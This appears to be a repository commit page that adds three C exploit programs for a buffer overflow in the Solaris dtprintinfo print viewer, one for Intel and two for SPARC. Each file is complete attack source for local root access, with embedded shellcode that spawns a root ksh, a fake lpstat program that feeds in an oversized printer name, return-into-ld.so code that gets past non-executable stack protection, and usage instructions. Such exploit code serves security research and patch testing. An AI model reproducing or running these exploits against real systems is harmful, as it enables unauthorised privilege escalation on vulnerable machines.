Projects STRLCPY 0xdea-exploits Commits 642cb423
🤬
  • ■ ■ ■ ■ ■ ■
    solaris/raptor_dtprintname_intel.c
     1 +/*
     2 + * raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel
     3 + * Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>
     4 + *
     5 + * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
     6 + * local root. Many thanks to Dave Aitel for discovering this vulnerability
     7 + * and for his interesting research activities on Solaris/SPARC.
     8 + *
     9 + * "None of my dtprintinfo work is public, other than that 0day pack being
     10 + * leaked to all hell and back. It should all basically still work. Let's
     11 + * keep it that way, cool? :>" -- Dave Aitel
     12 + *
     13 + * This exploit uses the ret-into-ld.so technique to bypass the non-exec
     14 + * stack protection. If experiencing troubles with null-bytes inside the
     15 + * ld.so.1 memory space, try returning to sprintf() instead of strcpy().
     16 + *
     17 + * Usage:
     18 + * $ gcc raptor_dtprintname_intel.c -o raptor_dtprintname_intel -Wall
     19 + * [on your xserver: disable the access control]
     20 + * $ ./raptor_dtprintname_intel 192.168.1.1:0
     21 + * [...]
     22 + * # id
     23 + * uid=0(root) gid=1(other)
     24 + * #
     25 + *
     26 + * Tested on:
     27 + * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
     28 + * [previous Solaris versions are also vulnerable]
     29 + */
     30 + 
     31 +#include <fcntl.h>
     32 +#include <link.h>
     33 +#include <procfs.h>
     34 +#include <stdio.h>
     35 +#include <stdlib.h>
     36 +#include <strings.h>
     37 +#include <unistd.h>
     38 +#include <sys/systeminfo.h>
     39 + 
     40 +#define INFO1 "raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel"
     41 +#define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>"
     42 + 
     43 +#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
     44 +#define BUFSIZE 301 // size of the printer name
     45 + 
     46 +char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
     47 +/* double setuid() */
     48 +"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
     49 +"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
     50 +/* execve() */
     51 +"\x31\xc0\x50\x68/ksh\x68/bin"
     52 +"\x89\xe3\x50\x53\x89\xe2\x50"
     53 +"\x52\x53\xb0\x3b\x50\xcd\x91";
     54 + 
     55 +/* globals */
     56 +char *env[256];
     57 +int env_pos = 0, env_len = 0;
     58 + 
     59 +/* prototypes */
     60 +int add_env(char *string);
     61 +void check_zero(int addr, char *pattern);
     62 +int search_ldso(char *sym);
     63 +int search_rwx_mem(void);
     64 +void set_val(char *buf, int pos, int val);
     65 + 
     66 +/*
     67 + * main()
     68 + */
     69 +int main(int argc, char **argv)
     70 +{
     71 + char buf[BUFSIZE], ksh_var[16];
     72 + char platform[256], release[256], display[256];
     73 + int i, offset, sc_addr, ksh_pos;
     74 + int plat_len, prog_len;
     75 + 
     76 + char *arg[2] = {"foo", NULL};
     77 + int sb = ((int)argv[0] | 0xfff); /* stack base */
     78 + int ret = search_ldso("strcpy"); /* or sprintf */
     79 + int rwx_mem = search_rwx_mem(); /* rwx memory */
     80 + 
     81 + /* fake lpstat code */
     82 + if (!strcmp(argv[0], "lpstat")) {
     83 + 
     84 + /* check command line */
     85 + if (argc != 2)
     86 + exit(1);
     87 + 
     88 + /* get the shellcode address from the environment */
     89 + sc_addr = (int)strtoul(getenv("KSH"), (char **)NULL, 0);
     90 + 
     91 + /* prepare the evil printer name */
     92 + memset(buf, 'A', sizeof(buf));
     93 + buf[sizeof(buf) - 1] = 0x0;
     94 + 
     95 + /* fill with ld.so.1 address, saved eip, and arguments */
     96 + for (i = 0; i < BUFSIZE; i += 4) {
     97 + set_val(buf, i, ret); /* strcpy */
     98 + set_val(buf, i += 4, rwx_mem); /* saved eip */
     99 + set_val(buf, i += 4, rwx_mem); /* 1st argument */
     100 + set_val(buf, i += 4, sc_addr); /* 2nd argument */
     101 + }
     102 + 
     103 + /* print the expected output and exit */
     104 + if(!strcmp(argv[1], "-v")) {
     105 + fprintf(stderr, "lpstat called with -v\n");
     106 + printf("device for %s: /dev/null\n", buf);
     107 + } else {
     108 + fprintf(stderr, "lpstat called with -d\n");
     109 + printf("system default destination: %s\n", buf);
     110 + }
     111 + exit(0);
     112 + }
     113 + 
     114 + /* print exploit information */
     115 + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
     116 + 
     117 + /* read command line */
     118 + if (argc != 2) {
     119 + fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
     120 + exit(1);
     121 + }
     122 + sprintf(display, "DISPLAY=%s", argv[1]);
     123 + 
     124 + /* get some system information */
     125 + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
     126 + sysinfo(SI_RELEASE, release, sizeof(release) - 1);
     127 + 
     128 + /* fill the envp, keeping padding */
     129 + add_env(sc);
     130 + ksh_pos = env_pos;
     131 + add_env("KSH=0x42424242");
     132 + add_env(display);
     133 + add_env("PATH=.:/usr/bin");
     134 + add_env("HOME=/tmp");
     135 + add_env(NULL);
     136 + 
     137 + /* calculate the offset to the shellcode */
     138 + plat_len = strlen(platform) + 1;
     139 + prog_len = strlen(VULN) + 1;
     140 + offset = 5 + env_len + plat_len + prog_len;
     141 + 
     142 + /* calculate the shellcode address */
     143 + sc_addr = sb - offset;
     144 + 
     145 + /* overwrite the KSH env var with the right address */
     146 + sprintf(ksh_var, "KSH=0x%x", sc_addr);
     147 + env[ksh_pos] = ksh_var;
     148 + 
     149 + /* create a symlink for the fake lpstat */
     150 + unlink("lpstat");
     151 + symlink(argv[0], "lpstat");
     152 + 
     153 + /* print some output */
     154 + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
     155 + fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
     156 + fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
     157 + fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
     158 + fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
     159 + 
     160 + /* run the vulnerable program */
     161 + execve(VULN, arg, env);
     162 + perror("execve");
     163 + exit(0);
     164 +}
     165 + 
     166 +/*
     167 + * add_env(): add a variable to envp and pad if needed
     168 + */
     169 +int add_env(char *string)
     170 +{
     171 + int i;
     172 + 
     173 + /* null termination */
     174 + if (!string) {
     175 + env[env_pos] = NULL;
     176 + return(env_len);
     177 + }
     178 + 
     179 + /* add the variable to envp */
     180 + env[env_pos] = string;
     181 + env_len += strlen(string) + 1;
     182 + env_pos++;
     183 + 
     184 + /* pad the envp using zeroes */
     185 + if ((strlen(string) + 1) % 4)
     186 + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
     187 + env[env_pos] = string + strlen(string);
     188 + env_len++;
     189 + }
     190 + 
     191 + return(env_len);
     192 +}
     193 + 
     194 +/*
     195 + * check_zero(): check an address for the presence of a 0x00
     196 + */
     197 +void check_zero(int addr, char *pattern)
     198 +{
     199 + if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
     200 + !(addr & 0xff000000)) {
     201 + fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
     202 + exit(1);
     203 + }
     204 +}
     205 + 
     206 +/*
     207 + * search_ldso(): search for a symbol inside ld.so.1
     208 + */
     209 +int search_ldso(char *sym)
     210 +{
     211 + int addr;
     212 + void *handle;
     213 + Link_map *lm;
     214 + 
     215 + /* open the executable object file */
     216 + if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
     217 + perror("dlopen");
     218 + exit(1);
     219 + }
     220 + 
     221 + /* get dynamic load information */
     222 + if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
     223 + perror("dlinfo");
     224 + exit(1);
     225 + }
     226 + 
     227 + /* search for the address of the symbol */
     228 + if ((addr = (int)dlsym(handle, sym)) == NULL) {
     229 + fprintf(stderr, "sorry, function %s() not found\n", sym);
     230 + exit(1);
     231 + }
     232 + 
     233 + /* close the executable object file */
     234 + dlclose(handle);
     235 + 
     236 + check_zero(addr - 4, sym);
     237 + return(addr);
     238 +}
     239 + 
     240 +/*
     241 + * search_rwx_mem(): search for an RWX memory segment valid for all
     242 + * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
     243 + */
     244 +int search_rwx_mem(void)
     245 +{
     246 + int fd;
     247 + char tmp[16];
     248 + prmap_t map;
     249 + int addr = 0, addr_old;
     250 + 
     251 + /* open the proc filesystem */
     252 + sprintf(tmp,"/proc/%d/map", (int)getpid());
     253 + if ((fd = open(tmp, O_RDONLY)) < 0) {
     254 + fprintf(stderr, "can't open %s\n", tmp);
     255 + exit(1);
     256 + }
     257 + 
     258 + /* search for the last RWX memory segment before stack (last - 1) */
     259 + while (read(fd, &map, sizeof(map)))
     260 + if (map.pr_vaddr)
     261 + if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
     262 + addr_old = addr;
     263 + addr = map.pr_vaddr;
     264 + }
     265 + close(fd);
     266 + 
     267 + /* add 4 to the exact address NULL bytes */
     268 + if (!(addr_old & 0xff))
     269 + addr_old |= 0x04;
     270 + if (!(addr_old & 0xff00))
     271 + addr_old |= 0x0400;
     272 + 
     273 + return(addr_old);
     274 +}
     275 + 
     276 +/*
     277 + * set_val(): copy a dword inside a buffer (little endian)
     278 + */
     279 +void set_val(char *buf, int pos, int val)
     280 +{
     281 + buf[pos] = (val & 0x000000ff);
     282 + buf[pos + 1] = (val & 0x0000ff00) >> 8;
     283 + buf[pos + 2] = (val & 0x00ff0000) >> 16;
     284 + buf[pos + 3] = (val & 0xff000000) >> 24;
     285 +}
     286 + 
  • ■ ■ ■ ■ ■ ■
    solaris/raptor_dtprintname_sparc.c
     1 +/*
     2 + * raptor_dtprintname_sparc.c - dtprintinfo 0day, Solaris/SPARC
     3 + * Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>
     4 + *
     5 + * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
     6 + * local root. Many thanks to Dave Aitel for discovering this vulnerability
     7 + * and for his interesting research activities on Solaris/SPARC.
     8 + *
     9 + * "None of my dtprintinfo work is public, other than that 0day pack being
     10 + * leaked to all hell and back. It should all basically still work. Let's
     11 + * keep it that way, cool? :>" -- Dave Aitel
     12 + *
     13 + * Usage:
     14 + * $ gcc raptor_dtprintname_sparc.c -o raptor_dtprintname_sparc -Wall
     15 + * [on your xserver: disable the access control]
     16 + * $ ./raptor_dtprintname_sparc 192.168.1.1:0
     17 + * [...]
     18 + * # id
     19 + * uid=0(root) gid=10(staff)
     20 + * #
     21 + *
     22 + * Tested on:
     23 + * SunOS 5.7 Generic_106541-21 sun4u sparc SUNW,Ultra-1
     24 + * SunOS 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10
     25 + * SunOS 5.9 Generic sun4u sparc SUNW,Ultra-5_10
     26 + * [SunOS 5.10 is also vulnerable, the exploit might require some tweaking]
     27 + */
     28 + 
     29 +#include <stdio.h>
     30 +#include <stdlib.h>
     31 +#include <strings.h>
     32 +#include <unistd.h>
     33 +#include <sys/systeminfo.h>
     34 + 
     35 +#define INFO1 "raptor_dtprintname_sparc.c - dtprintinfo 0day, Solaris/SPARC"
     36 +#define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>"
     37 + 
     38 +#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
     39 +#define BUFSIZE 301 // size of the printer name
     40 + 
     41 +/* voodoo macros */
     42 +#define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
     43 +#define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;}
     44 + 
     45 +char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
     46 +/* double setuid() */
     47 +"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
     48 +"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
     49 +/* execve() */
     50 +"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
     51 +"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
     52 +"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
     53 + 
     54 +/* globals */
     55 +char *env[256];
     56 +int env_pos = 0, env_len = 0;
     57 + 
     58 +/* prototypes */
     59 +int add_env(char *string);
     60 +void set_val(char *buf, int pos, int val);
     61 + 
     62 +/*
     63 + * main()
     64 + */
     65 +int main(int argc, char **argv)
     66 +{
     67 + char buf[BUFSIZE], var[16];
     68 + char platform[256], release[256], display[256];
     69 + int i, offset, ret, var_pos;
     70 + int plat_len, prog_len, rel;
     71 + 
     72 + char *arg[2] = {"foo", NULL};
     73 + int arg_len = 4, arg_pos = 1;
     74 + 
     75 + int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
     76 + 
     77 + /* fake lpstat code */
     78 + if (!strcmp(argv[0], "lpstat")) {
     79 + 
     80 + /* check command line */
     81 + if (argc != 2)
     82 + exit(1);
     83 + 
     84 + /* get ret address from environment */
     85 + ret = (int)strtoul(getenv("RET"), (char **)NULL, 0);
     86 + 
     87 + /* prepare the evil printer name */
     88 + memset(buf, 'A', sizeof(buf));
     89 + buf[sizeof(buf) - 1] = 0x0;
     90 + 
     91 + /* fill with return address */
     92 + for (i = 0; i < BUFSIZE; i += 4)
     93 + set_val(buf, i, ret - 8);
     94 + 
     95 + /* print the expected output and exit */
     96 + if(!strcmp(argv[1], "-v")) {
     97 + fprintf(stderr, "lpstat called with -v\n");
     98 + printf("device for %s: /dev/null\n", buf);
     99 + } else {
     100 + fprintf(stderr, "lpstat called with -d\n");
     101 + printf("system default destination: %s\n", buf);
     102 + }
     103 + exit(0);
     104 + }
     105 + 
     106 + /* print exploit information */
     107 + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
     108 + 
     109 + /* read command line */
     110 + if (argc != 2) {
     111 + fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
     112 + exit(1);
     113 + }
     114 + sprintf(display, "DISPLAY=%s", argv[1]);
     115 + 
     116 + /* get some system information */
     117 + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
     118 + sysinfo(SI_RELEASE, release, sizeof(release) - 1);
     119 + rel = atoi(release + 2);
     120 + 
     121 + /* fill the envp, keeping padding */
     122 + add_env(sc);
     123 + var_pos = env_pos;
     124 + add_env("RET=0x41414141");
     125 + add_env(display);
     126 + add_env("PATH=.:/usr/bin");
     127 + add_env("HOME=/tmp");
     128 + add_env(NULL);
     129 + 
     130 + /* calculate the offset to argv[0] (voodoo magic) */
     131 + plat_len = strlen(platform) + 1;
     132 + prog_len = strlen(VULN) + 1;
     133 + offset = arg_len + env_len + plat_len + prog_len;
     134 + if (rel > 7)
     135 + VOODOO64(offset, arg_pos, env_pos)
     136 + else
     137 + VOODOO32(offset, plat_len, prog_len)
     138 + 
     139 + /* calculate the needed addresses */
     140 + ret = sb - offset + arg_len;
     141 + 
     142 + /* overwrite the RET env var with the right ret address */
     143 + sprintf(var, "RET=0x%x", ret);
     144 + env[var_pos] = var;
     145 + 
     146 + /* create a symlink for the fake lpstat */
     147 + unlink("lpstat");
     148 + symlink(argv[0], "lpstat");
     149 + 
     150 + /* print some output */
     151 + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
     152 + fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
     153 + fprintf(stderr, "Using ret address\t: 0x%p\n\n", (void *)ret);
     154 + 
     155 + /* run the vulnerable program */
     156 + execve(VULN, arg, env);
     157 + perror("execve");
     158 + exit(0);
     159 +}
     160 + 
     161 +/*
     162 + * add_env(): add a variable to envp and pad if needed
     163 + */
     164 +int add_env(char *string)
     165 +{
     166 + int i;
     167 + 
     168 + /* null termination */
     169 + if (!string) {
     170 + env[env_pos] = NULL;
     171 + return(env_len);
     172 + }
     173 + 
     174 + /* add the variable to envp */
     175 + env[env_pos] = string;
     176 + env_len += strlen(string) + 1;
     177 + env_pos++;
     178 + 
     179 + /* pad the envp using zeroes */
     180 + if ((strlen(string) + 1) % 4)
     181 + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
     182 + env[env_pos] = string + strlen(string);
     183 + env_len++;
     184 + }
     185 + 
     186 + return(env_len);
     187 +}
     188 + 
     189 +/*
     190 + * set_val(): copy a dword inside a buffer
     191 + */
     192 +void set_val(char *buf, int pos, int val)
     193 +{
     194 + buf[pos] = (val & 0xff000000) >> 24;
     195 + buf[pos + 1] = (val & 0x00ff0000) >> 16;
     196 + buf[pos + 2] = (val & 0x0000ff00) >> 8;
     197 + buf[pos + 3] = (val & 0x000000ff);
     198 +}
     199 + 
  • ■ ■ ■ ■ ■ ■
    solaris/raptor_dtprintname_sparc2.c
     1 +/*
     2 + * raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC
     3 + * Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>
     4 + *
     5 + * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
     6 + * local root. Many thanks to Dave Aitel for discovering this vulnerability
     7 + * and for his interesting research activities on Solaris/SPARC.
     8 + *
     9 + * "None of my dtprintinfo work is public, other than that 0day pack being
     10 + * leaked to all hell and back. It should all basically still work. Let's
     11 + * keep it that way, cool? :>" -- Dave Aitel
     12 + *
     13 + * This is the ret-into-ld.so version of raptor_dtprintname_sparc.c, able
     14 + * to bypass the non-executable stack protection (noexec_user_stack=1 in
     15 + * /etc/system).
     16 + *
     17 + * NOTE. If experiencing troubles with null-bytes inside the ld.so.1 memory
     18 + * space, use sprintf() instead of strcpy() (tested on some Solaris 7 boxes).
     19 + *
     20 + * Usage:
     21 + * $ gcc raptor_dtprintname_sparc2.c -o raptor_dtprintname_sparc2 -ldl -Wall
     22 + * [on your xserver: disable the access control]
     23 + * $ ./raptor_dtprintname_sparc2 192.168.1.1:0
     24 + * [...]
     25 + * # id
     26 + * uid=0(root) gid=10(staff)
     27 + * #
     28 + *
     29 + * Tested on:
     30 + * SunOS 5.7 Generic_106541-21 sun4u sparc SUNW,Ultra-1
     31 + * SunOS 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10
     32 + * SunOS 5.9 Generic sun4u sparc SUNW,Ultra-5_10
     33 + * [SunOS 5.10 is also vulnerable, the exploit might require some tweaking]
     34 + */
     35 + 
     36 +#include <dlfcn.h>
     37 +#include <fcntl.h>
     38 +#include <link.h>
     39 +#include <procfs.h>
     40 +#include <stdio.h>
     41 +#include <stdlib.h>
     42 +#include <strings.h>
     43 +#include <unistd.h>
     44 +#include <sys/systeminfo.h>
     45 + 
     46 +#define INFO1 "raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC"
     47 +#define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>"
     48 + 
     49 +#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
     50 +#define BUFSIZE 301 // size of the printer name
     51 +#define FFSIZE 64 + 1 // size of the fake frame
     52 +#define DUMMY 0xdeadbeef // dummy memory address
     53 + 
     54 +/* voodoo macros */
     55 +#define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
     56 +#define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;}
     57 + 
     58 +char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */
     59 +/* double setuid() */
     60 +"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
     61 +"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
     62 +/* execve() */
     63 +"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
     64 +"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
     65 +"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
     66 + 
     67 +/* globals */
     68 +char *env[256];
     69 +int env_pos = 0, env_len = 0;
     70 + 
     71 +/* prototypes */
     72 +int add_env(char *string);
     73 +void check_zero(int addr, char *pattern);
     74 +int search_ldso(char *sym);
     75 +int search_rwx_mem(void);
     76 +void set_val(char *buf, int pos, int val);
     77 + 
     78 +/*
     79 + * main()
     80 + */
     81 +int main(int argc, char **argv)
     82 +{
     83 + char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16];
     84 + char platform[256], release[256], display[256];
     85 + int i, offset, ff_addr, sc_addr, ret_pos, fpt_pos;
     86 + int plat_len, prog_len, rel;
     87 + 
     88 + char *arg[2] = {"foo", NULL};
     89 + int arg_len = 4, arg_pos = 1;
     90 + 
     91 + int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
     92 + int ret = search_ldso("strcpy"); /* or sprintf */
     93 + int rwx_mem = search_rwx_mem();
     94 + 
     95 + /* fake lpstat code */
     96 + if (!strcmp(argv[0], "lpstat")) {
     97 + 
     98 + /* check command line */
     99 + if (argc != 2)
     100 + exit(1);
     101 + 
     102 + /* get ret and fake frame addresses from environment */
     103 + ret = (int)strtoul(getenv("RET"), (char **)NULL, 0);
     104 + ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0);
     105 + 
     106 + /* prepare the evil printer name */
     107 + memset(buf, 'A', sizeof(buf));
     108 + buf[sizeof(buf) - 1] = 0x0;
     109 + 
     110 + /* fill with return and fake frame addresses */
     111 + for (i = 0; i < BUFSIZE; i += 4) {
     112 + /* apparently, we don't need to bruteforce */
     113 + set_val(buf, i, ret - 4);
     114 + set_val(buf, i += 4, ff_addr);
     115 + }
     116 + 
     117 + /* print the expected output and exit */
     118 + if(!strcmp(argv[1], "-v")) {
     119 + fprintf(stderr, "lpstat called with -v\n");
     120 + printf("device for %s: /dev/null\n", buf);
     121 + } else {
     122 + fprintf(stderr, "lpstat called with -d\n");
     123 + printf("system default destination: %s\n", buf);
     124 + }
     125 + exit(0);
     126 + }
     127 + 
     128 + /* print exploit information */
     129 + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
     130 + 
     131 + /* read command line */
     132 + if (argc != 2) {
     133 + fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
     134 + exit(1);
     135 + }
     136 + sprintf(display, "DISPLAY=%s", argv[1]);
     137 + 
     138 + /* get some system information */
     139 + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
     140 + sysinfo(SI_RELEASE, release, sizeof(release) - 1);
     141 + rel = atoi(release + 2);
     142 + 
     143 + /* prepare the fake frame */
     144 + bzero(ff, sizeof(ff));
     145 + 
     146 + /*
     147 + * saved %l registers
     148 + */
     149 + set_val(ff, i = 0, DUMMY); /* %l0 */
     150 + set_val(ff, i += 4, DUMMY); /* %l1 */
     151 + set_val(ff, i += 4, DUMMY); /* %l2 */
     152 + set_val(ff, i += 4, DUMMY); /* %l3 */
     153 + set_val(ff, i += 4, DUMMY); /* %l4 */
     154 + set_val(ff, i += 4, DUMMY); /* %l5 */
     155 + set_val(ff, i += 4, DUMMY); /* %l6 */
     156 + set_val(ff, i += 4, DUMMY); /* %l7 */
     157 + 
     158 + /*
     159 + * saved %i registers
     160 + */
     161 + set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */
     162 + set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */
     163 + set_val(ff, i += 4, DUMMY); /* %i2 */
     164 + set_val(ff, i += 4, DUMMY); /* %i3 */
     165 + set_val(ff, i += 4, DUMMY); /* %i4 */
     166 + set_val(ff, i += 4, DUMMY); /* %i5 */
     167 + set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */
     168 + set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */
     169 + 
     170 + /* fill the envp, keeping padding */
     171 + sc_addr = add_env(ff);
     172 + add_env(sc);
     173 + ret_pos = env_pos;
     174 + add_env("RET=0x41414141");
     175 + fpt_pos = env_pos;
     176 + add_env("FPT=0x42424242");
     177 + add_env(display);
     178 + add_env("PATH=.:/usr/bin");
     179 + add_env("HOME=/tmp");
     180 + add_env(NULL);
     181 + 
     182 + /* calculate the offset to argv[0] (voodoo magic) */
     183 + plat_len = strlen(platform) + 1;
     184 + prog_len = strlen(VULN) + 1;
     185 + offset = arg_len + env_len + plat_len + prog_len;
     186 + if (rel > 7)
     187 + VOODOO64(offset, arg_pos, env_pos)
     188 + else
     189 + VOODOO32(offset, plat_len, prog_len)
     190 + 
     191 + /* calculate the needed addresses */
     192 + ff_addr = sb - offset + arg_len;
     193 + sc_addr += ff_addr;
     194 + 
     195 + /* set fake frame's %i1 */
     196 + set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */
     197 + 
     198 + /* overwrite RET and FPT env vars with the right addresses */
     199 + sprintf(ret_var, "RET=0x%x", ret);
     200 + env[ret_pos] = ret_var;
     201 + sprintf(fpt_var, "FPT=0x%x", ff_addr);
     202 + env[fpt_pos] = fpt_var;
     203 + 
     204 + /* create a symlink for the fake lpstat */
     205 + unlink("lpstat");
     206 + symlink(argv[0], "lpstat");
     207 + 
     208 + /* print some output */
     209 + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
     210 + fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
     211 + fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
     212 + fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
     213 + fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
     214 + fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
     215 + 
     216 + /* run the vulnerable program */
     217 + execve(VULN, arg, env);
     218 + perror("execve");
     219 + exit(0);
     220 +}
     221 + 
     222 +/*
     223 + * add_env(): add a variable to envp and pad if needed
     224 + */
     225 +int add_env(char *string)
     226 +{
     227 + int i;
     228 + 
     229 + /* null termination */
     230 + if (!string) {
     231 + env[env_pos] = NULL;
     232 + return(env_len);
     233 + }
     234 + 
     235 + /* add the variable to envp */
     236 + env[env_pos] = string;
     237 + env_len += strlen(string) + 1;
     238 + env_pos++;
     239 + 
     240 + /* pad the envp using zeroes */
     241 + if ((strlen(string) + 1) % 4)
     242 + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
     243 + env[env_pos] = string + strlen(string);
     244 + env_len++;
     245 + }
     246 + 
     247 + return(env_len);
     248 +}
     249 + 
     250 +/*
     251 + * check_zero(): check an address for the presence of a 0x00
     252 + */
     253 +void check_zero(int addr, char *pattern)
     254 +{
     255 + if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
     256 + !(addr & 0xff000000)) {
     257 + fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
     258 + exit(1);
     259 + }
     260 +}
     261 + 
     262 +/*
     263 + * search_ldso(): search for a symbol inside ld.so.1
     264 + */
     265 +int search_ldso(char *sym)
     266 +{
     267 + int addr;
     268 + void *handle;
     269 + Link_map *lm;
     270 + 
     271 + /* open the executable object file */
     272 + if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
     273 + perror("dlopen");
     274 + exit(1);
     275 + }
     276 + 
     277 + /* get dynamic load information */
     278 + if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
     279 + perror("dlinfo");
     280 + exit(1);
     281 + }
     282 + 
     283 + /* search for the address of the symbol */
     284 + if ((addr = (int)dlsym(handle, sym)) == NULL) {
     285 + fprintf(stderr, "sorry, function %s() not found\n", sym);
     286 + exit(1);
     287 + }
     288 + 
     289 + /* close the executable object file */
     290 + dlclose(handle);
     291 + 
     292 + check_zero(addr - 4, sym);
     293 + return(addr);
     294 +}
     295 + 
     296 +/*
     297 + * search_rwx_mem(): search for an RWX memory segment valid for all
     298 + * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
     299 + */
     300 +int search_rwx_mem(void)
     301 +{
     302 + int fd;
     303 + char tmp[16];
     304 + prmap_t map;
     305 + int addr = 0, addr_old;
     306 + 
     307 + /* open the proc filesystem */
     308 + sprintf(tmp,"/proc/%d/map", (int)getpid());
     309 + if ((fd = open(tmp, O_RDONLY)) < 0) {
     310 + fprintf(stderr, "can't open %s\n", tmp);
     311 + exit(1);
     312 + }
     313 + 
     314 + /* search for the last RWX memory segment before stack (last - 1) */
     315 + while (read(fd, &map, sizeof(map)))
     316 + if (map.pr_vaddr)
     317 + if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
     318 + addr_old = addr;
     319 + addr = map.pr_vaddr;
     320 + }
     321 + close(fd);
     322 + 
     323 + /* add 4 to the exact address NULL bytes */
     324 + if (!(addr_old & 0xff))
     325 + addr_old |= 0x04;
     326 + if (!(addr_old & 0xff00))
     327 + addr_old |= 0x0400;
     328 + 
     329 + return(addr_old);
     330 +}
     331 + 
     332 +/*
     333 + * set_val(): copy a dword inside a buffer
     334 + */
     335 +void set_val(char *buf, int pos, int val)
     336 +{
     337 + buf[pos] = (val & 0xff000000) >> 24;
     338 + buf[pos + 1] = (val & 0x00ff0000) >> 16;
     339 + buf[pos + 2] = (val & 0x0000ff00) >> 8;
     340 + buf[pos + 3] = (val & 0x000000ff);
     341 +}
     342 + 
Please wait...
Page is in error, reload to recover